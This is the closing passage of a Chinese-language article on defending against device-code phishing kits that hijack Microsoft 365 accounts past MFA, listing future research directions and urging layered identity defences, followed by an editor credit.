基于机器学习的设备码钓鱼诱饵识别模型研究:针对 Jalisco 无恶意页面、可信域名的特征,基于邮件文本、页面行为数据构建 AI 检测模型,实现事前自动化识别;

多厂商云办公套件同类攻击对比研究:对比 Microsoft 365、Google Workspace、钉钉 / 飞书 OAuth 设备授权流安全差异,构建跨平台统一防御框架;

钓鱼抗性 MFA 部署落地成本与防护收益量化分析:针对不同规模企业测算 FIDO2 密钥部署投入,量化设备码钓鱼攻击拦截率提升幅度,为中小企业轻量化防护提供选型依据。

结语

随着 OAuth 协议滥用类钓鱼工具持续商业化迭代,Microsoft 365 账号绕过 MFA 劫持风险持续攀升,Jalisco 与 OmegaLord 代表当前黑产攻击技术的主流演化方向。政企单位需客观认知传统多因素认证的防御局限性,放弃单一防护思路,从云身份底层架构加固入手,配套流量过滤、自动化审计、人员安全运营多层措施,持续迭代防御策略,同步建立标准化账号泄露应急处置流程,降低企业敏感数据泄露、勒索攻击带来的业务与合规损失。本文提供的工具代码、身份策略配置、自动化检测脚本均经过公开安全厂商实测验证,可直接用于企业攻防演练与生产环境防护部署,为云办公场景下新型网络钓鱼攻击防御提供完整技术参考。

编辑:芦笛(公共互联网反网络钓鱼工作组)

目录
相关文章
|
6天前
|
缓存 人工智能 安全
GPT-5.6 Terra与GPT-5.5性能实测:成本减半后的跑分对比与快速迁移指南
GPT-5.6 Terra 的定价为每百万 token 输入 2.50/输出 15。GPT-5.5 则是 5/ 30。Terra 的每一项费率,包括 $0.25/M 的缓存读取,都恰好是 GPT-5.5 的一半,因此在任何工作负载组合下,Terra 都固定 便宜 2.0x。以每天 10 万次请求、3K token 提示词计算,大约是 Terra 每天 2,000,GPT−5.5每天 4,000,即每月约 60,000对 120,000。问题在于:OpenAI 没有发布任何针对 Terra 的编码基准。那个著名的 91.9% Terminal-Bench 数字是 Sol 在 Ul
|
1天前
|
数据采集 机器学习/深度学习 人工智能
田间杂草定位与检测4200张YOLO智慧农业数据集分享
本数据集含4200张真实农田图像,YOLO格式,单类别(杂草)高质量标注,覆盖多作物、多光照、多生长阶段等复杂场景,专为智慧农业杂草检测与智能除草设备研发设计,支持YOLOv5/v8/v10等主流模型训练。
326 93
|
2天前
|
缓存 UED 开发者
Codex109天重置23次,明天还要再送一次
Codex近109天完成23次额度重置,7月14日将迎来第24次。Tibo高频响应用户反馈:优化GPT-5.6高消耗问题、补发失效福利、调整重置时间——形成“反馈→回应→修复→补偿”正向闭环,彰显以用户为中心的产品哲学。(239字)
488 11
|
6天前
|
人工智能 缓存 JSON
刚刚 GPT-5.6 发布,吊打 Claude 5 和 Grok 4.5?一手实测来啦!
GPT-5.6 刚发布,跑分号称超越 Fable 5,真的假的?附一手实测,让 3 个最强 AI 编程模型 GPT-5.6 Sol、Claude Fable 5、Grok 4.5 在 Cursor 里同时一把梭开发网页游戏,看看最新模型到底谁更能打。
332 0
|
6天前
|
存储 人工智能 JSON
Qwen 本地部署搭配 ComfyUI 生成 AI 漫剧完整实操指南(小白零基础可落地,零成本无限生成+角色一致性天花板)
2026全网最优本地漫剧流水线:零成本、离线运行、角色统一、低配(8G显卡)可跑。融合Qwen本地大模型+ComfyUI双引擎,实现剧本生成→分镜绘图→动态成片全自动,隐私安全、无审核限流,新手30分钟上手,日更无忧。(239字)